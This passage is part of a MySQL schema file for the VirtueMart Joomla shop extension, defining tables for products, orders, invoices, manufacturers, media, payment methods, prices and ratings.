DEFAULT '' COMMENT 'field title', `show_title` tinyint(1) NOT NULL DEFAULT '1', `custom_tip` char(255) NOT NULL DEFAULT '' COMMENT 'tip', `custom_value` char(255) COMMENT 'defaut value', `custom_field_desc` char(255) COMMENT 'description or unit', `field_type` char(1) NOT NULL DEFAULT '0' COMMENT 'S:string,I:int,P:parent, B:bool,D:date,T:time,H:hidden', `is_list` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'list of values', `is_hidden` tinyint(1) NOT NULL DEFAULT '0' COMMENT '1:hidden', `is_cart_attribute` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'Add attributes to cart', `layout_pos` char(24) COMMENT 'Layout Position', `custom_params` text, `shared` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'valide for all vendors?', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_custom_id`), KEY `i_custom_parent_id` (`custom_parent_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_custom_element` (`custom_element`), KEY `idx_field_type` (`field_type`), KEY `i_is_cart_attribute` (`is_cart_attribute`), KEY `i_shared` (`shared`), KEY `i_published` (`published`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='custom fields definition' AUTO_INCREMENT=1 ; CREATE TABLE IF NOT EXISTS `#__virtuemart_invoices` ( `virtuemart_invoice_id` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `virtuemart_order_id` int(1) UNSIGNED, `invoice_number` char(64), `order_status` char(2), `xhtml` text, `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_invoice_id`), UNIQUE KEY `idx_invoice_number` (`invoice_number`,`virtuemart_vendor_id`), KEY `idx_virtuemart_order_id` (`virtuemart_order_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='custom fields definition' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_manufacturers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_manufacturers` ( `virtuemart_manufacturer_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_manufacturercategories_id` int(11), `hits` int(11) unsigned NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_manufacturer_id`), KEY `published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Manufacturers are those who deliver products' AUTO_INCREMENT=1 ; -- -- Table structure for table `#__virtuemart_manufacturer_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_manufacturer_medias` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_manufacturer_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), KEY `ordering` (`ordering`), UNIQUE KEY `i_virtuemart_manufacturer_id` (`virtuemart_manufacturer_id`,`virtuemart_media_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_manufacturercategories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_manufacturercategories` ( `virtuemart_manufacturercategories_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_manufacturercategories_id`), KEY `published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Manufacturers are assigned to these categories' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_medias` (was `#__virtuemart_product_files`) -- CREATE TABLE IF NOT EXISTS `#__virtuemart_medias` ( `virtuemart_media_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) NOT NULL DEFAULT '1', `file_title` char(126) NOT NULL DEFAULT '', `file_description` char(254) NOT NULL DEFAULT '', `file_meta` char(254) NOT NULL DEFAULT '', `file_mimetype` char(64) NOT NULL DEFAULT '', `file_type` char(32) NOT NULL DEFAULT '', `file_url` varchar(900) NOT NULL DEFAULT '', `file_url_thumb` varchar(900) NOT NULL DEFAULT '', `file_is_product_image` tinyint(1) NOT NULL DEFAULT '0', `file_is_downloadable` tinyint(1) NOT NULL DEFAULT '0', `file_is_forSale` tinyint(1) NOT NULL DEFAULT '0', `file_params` varchar(17500), `file_lang` varchar(500) NOT NULL, `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_media_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`), KEY `i_shared` (`shared`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Additional Images and Files which are assigned to products' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_migration_oldtonew_ids` (only used for migration) -- CREATE TABLE IF NOT EXISTS `#__virtuemart_migration_oldtonew_ids` ( `id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `cats` longblob, `catsxref` blob, `manus` longblob, `mfcats` blob, `shoppergroups` longblob, `products` longblob, `products_start` int(1), `orderstates` blob, `orders` longblob, `attributes` longblob, `relatedproducts` longblob, `orders_start` int(1), PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='xref table for vm1 ids to vm2 ids' ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_modules` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_modules` ( `module_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `module_name` char(255), `module_description` varchar(21000), `module_perms` char(255), `published` tinyint(1) NOT NULL DEFAULT '1', `is_admin` enum('0','1') NOT NULL DEFAULT '0', `ordering` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`module_id`), KEY `idx_module_name` (`module_name`), KEY `idx_module_ordering` (`ordering`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='VirtueMart Core Modules, not: Joomla modules' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_orders` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_orders` ( `virtuemart_order_id` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `order_number` char(64), `customer_number` char(32), `order_pass` char(8), `order_total` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_salesPrice` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_billTaxAmount` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_billTax` varchar(400), `order_billDiscountAmount` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_discountAmount` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_subtotal` decimal(15,5), `order_tax` decimal(10,5), `order_shipment` decimal(10,2), `order_shipment_tax` decimal(10,5), `order_payment` decimal(10,2), `order_payment_tax` decimal(10,5), `coupon_discount` decimal(12,2) NOT NULL DEFAULT '0.00', `coupon_code` char(32), `order_discount` decimal(12,2) NOT NULL DEFAULT '0.00', `order_currency` smallint(1), `order_status` char(1), `user_currency_id` smallint(1), `user_currency_rate` DECIMAL(10,5) NOT NULL DEFAULT '1.00000', `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED, `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED, `customer_note` varchar(20000), `delivery_date` varchar(200), `order_language` char(7), `ip_address` char(15) NOT NULL DEFAULT '', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_id`), KEY `idx_orders_virtuemart_user_id` (`virtuemart_user_id`), KEY `idx_orders_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_orders_order_number` (`order_number`), KEY `idx_orders_virtuemart_paymentmethod_id` (`virtuemart_paymentmethod_id`), KEY `idx_orders_virtuemart_shipmentmethod_id` (`virtuemart_shipmentmethod_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Used to store all orders' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_histories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_histories` ( `virtuemart_order_history_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_order_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `order_status_code` char(1) NOT NULL DEFAULT '0', `customer_notified` tinyint(1) NOT NULL DEFAULT '0', `comments` varchar(21000), `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_history_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores all actions and changes that occur to an order' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_items` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_items` ( `virtuemart_order_item_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_order_id` int(11), `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `virtuemart_product_id` int(11), `order_item_sku` char(64) NOT NULL DEFAULT '', `order_item_name` char(255) NOT NULL DEFAULT '', `product_quantity` int(11), `product_item_price` decimal(15,5), `product_priceWithoutTax` decimal(15,5), `product_tax` decimal(15,5), `product_basePriceWithTax` decimal(15,5), `product_discountedPriceWithoutTax` decimal(15,5), `product_final_price` decimal(15,5) NOT NULL DEFAULT '0.00000', `product_subtotal_discount` decimal(15,5) NOT NULL DEFAULT '0.00000', `product_subtotal_with_tax` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_item_currency` INT(11), `order_status` char(1), `product_attribute` text, `delivery_date` varchar(200), `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_item_id`), KEY `virtuemart_product_id` (`virtuemart_product_id`), KEY `i_virtuemart_order_id` (`virtuemart_order_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `order_status` (`order_status`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores all items (products) which are part of an order' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_calc_rules` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_calc_rules` ( `virtuemart_order_calc_rule_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` int(11), `virtuemart_order_id` int(11), `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `virtuemart_order_item_id` int(11), `calc_rule_name` char(64) NOT NULL DEFAULT '' COMMENT 'Name of the rule', `calc_kind` char(16) NOT NULL DEFAULT '' COMMENT 'Discount/Tax/Margin/Commission', `calc_mathop` char(16) NOT NULL DEFAULT '' COMMENT 'Discount/Tax/Margin/Commission', `calc_amount` decimal(15,5) NOT NULL DEFAULT '0.00000', `calc_result` decimal(15,5) NOT NULL DEFAULT '0.00000', `calc_value` decimal(15,5) NOT NULL DEFAULT '0.00000', `calc_currency` smallint(1), `calc_params` varchar(18000), `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_calc_rule_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Stores all calculation rules which are part of an order' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_orderstates` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_orderstates` ( `virtuemart_orderstate_id` tinyint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `order_status_code` char(1) NOT NULL DEFAULT '', `order_status_name` char(64), `order_status_description` varchar(20000), `order_stock_handle` char(1) NOT NULL DEFAULT 'A', `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_orderstate_id`), KEY `idx_order_status_ordering` (`ordering`), KEY `idx_order_status_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='All available order statuses' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_userinfos` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_userinfos` ( `virtuemart_order_userinfo_id` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_order_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `address_type` char(2), `address_type_name` char(32), `company` char(64), `title` char(32), `last_name` char(48), `first_name` char(48), `middle_name` char(48), `phone_1` char(32), `phone_2` char(32), `fax` char(32), `address_1` char(64) NOT NULL DEFAULT '', `address_2` char(64) , `city` char(64) NOT NULL DEFAULT '', `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `zip` char(16) NOT NULL DEFAULT '', `email` char(128), `agreed` tinyint(1) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_userinfo_id`), KEY `i_virtuemart_order_id` (`virtuemart_order_id`), KEY `i_virtuemart_user_id` (`virtuemart_user_id`), KEY `idx_address_type` (`address_type`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores the BillTo and ShipTo Information at order time' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_paymentmethods` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_paymentmethods` ( `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `payment_jplugin_id` int(11) NOT NULL DEFAULT '0', `payment_element` char(50) NOT NULL DEFAULT '', `payment_params` varchar(19000), `shared` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'valide for all vendors?', `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_paymentmethod_id`), KEY `idx_payment_jplugin_id` (`payment_jplugin_id`), KEY `idx_payment_element` (payment_element,`virtuemart_vendor_id`), KEY `idx_payment_method_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='The payment methods of your store' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_paymentmethod_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_paymentmethod_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_paymentmethod_id` (`virtuemart_paymentmethod_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='xref table for paymentmethods to shoppergroup' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_products` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_products` ( `virtuemart_product_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `product_parent_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `product_sku` char(64), `product_gtin` char(64), `product_mpn` char(64), `product_weight` decimal(10,4), `product_weight_uom` char(7), `product_length` decimal(10,4), `product_width` decimal(10,4), `product_height` decimal(10,4), `product_lwh_uom` char(7), `product_url` char(255), `product_in_stock` int(1) NOT NULL DEFAULT '0', `product_ordered` int(1) NOT NULL DEFAULT '0', `low_stock_notification` int(1) UNSIGNED NOT NULL DEFAULT '0', `product_available_date` datetime NOT NULL default '0000-00-00 00:00:00', `product_availability` char(32), `product_special` tinyint(1), `product_sales` int(1) UNSIGNED NOT NULL DEFAULT '0', `product_unit` varchar(8), `product_packaging` decimal(8,4) UNSIGNED, `product_params` varchar(2000), `hits` int(11) unsigned, `intnotes` varchar(18000), `metarobot` varchar(400), `metaauthor` varchar(400), `layout` char(16), `published` tinyint(1), `pordering` mediumint(2) UNSIGNED NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_product_id`), KEY `idx_product_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_product_product_parent_id` (`product_parent_id`), KEY `i_product_special` (`product_special`), KEY `i_published` (`published`), KEY `i_pordering` (`pordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='All products are stored here.' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_categories` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_category_id`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Maps Products to Categories'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_shoppergroups` -- -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Maps Products to Categories'; -- -------------------------------------------------------- -- -- Table structure `#__virtuemart_product_customfields` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_customfields` ( `virtuemart_customfield_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'field id', `virtuemart_product_id` int(11) NOT NULL DEFAULT '0', `virtuemart_custom_id` int(11) NOT NULL DEFAULT '1' COMMENT 'custom group id', `custom_value` varchar(8000) COMMENT 'field value', `custom_price` decimal(15,5) COMMENT 'price', `custom_param` varchar(12800) COMMENT 'Param for Plugins', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `created_by` int(1) UNSIGNED NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(1) UNSIGNED NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_customfield_id`), KEY `idx_virtuemart_product_id` (`virtuemart_product_id`), KEY `idx_virtuemart_custom_id` (`virtuemart_custom_id`), KEY `idx_published` (`published`), KEY `idx_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='custom fields' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_medias` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_media_id`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_manufacturers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_manufacturers` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(11), `virtuemart_manufacturer_id` smallint(1) UNSIGNED, PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_manufacturer_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Maps a product to a manufacturer'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_prices` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_prices` ( `virtuemart_product_price_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` int(11), `product_price` decimal(15,5), `override` tinyint(1), `product_override_price` decimal(15,5), `product_tax_id` int(11), `product_discount_id` int(11), `product_currency` smallint(1), `product_price_publish_up` datetime, `product_price_publish_down` datetime, `price_quantity_start` int(11) unsigned, `price_quantity_end` int(11) unsigned, `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_product_price_id`), KEY `i_product_id` (`virtuemart_product_id`), KEY `i_virtuemart_shoppergroup_id` (`virtuemart_shoppergroup_id`), KEY `dx_product_price_publish_up` (`product_price_publish_up`), KEY `dx_product_price_publish_down` (`product_price_publish_down`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds price records for a product' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_rating_reviews` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_rating_reviews` ( `virtuemart_rating_review_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `comment` varchar(18000), `review_ok` tinyint(1) NOT NULL DEFAULT '0', `review_rates` int(1) UNSIGNED NOT NULL DEFAULT '0', `review_ratingcount` int(1) UNSIGNED NOT NULL DEFAULT '0', `review_rating` decimal(10,2) NOT NULL DEFAULT '0.00', `review_editable` tinyint(1) NOT NULL DEFAULT '1', `lastip` char(50) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_rating_review_id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`created_by`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_ratings` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_ratings` ( `virtuemart_rating_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `rates` int(11) NOT NULL DEFAULT '0', `ratingcount` int(1) UNSIGNED NOT NULL DEFAULT '0', `rating` decimal(10,1) NOT NULL DEFAULT '0.0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_rating_id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_rating_id`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Stores all ratings for a product'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_rating_votes` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_rating_votes` ( `virtuemart_rating_vote_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `vote` int(11) NOT NULL DEFAULT '0', `lastip` char(50) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT 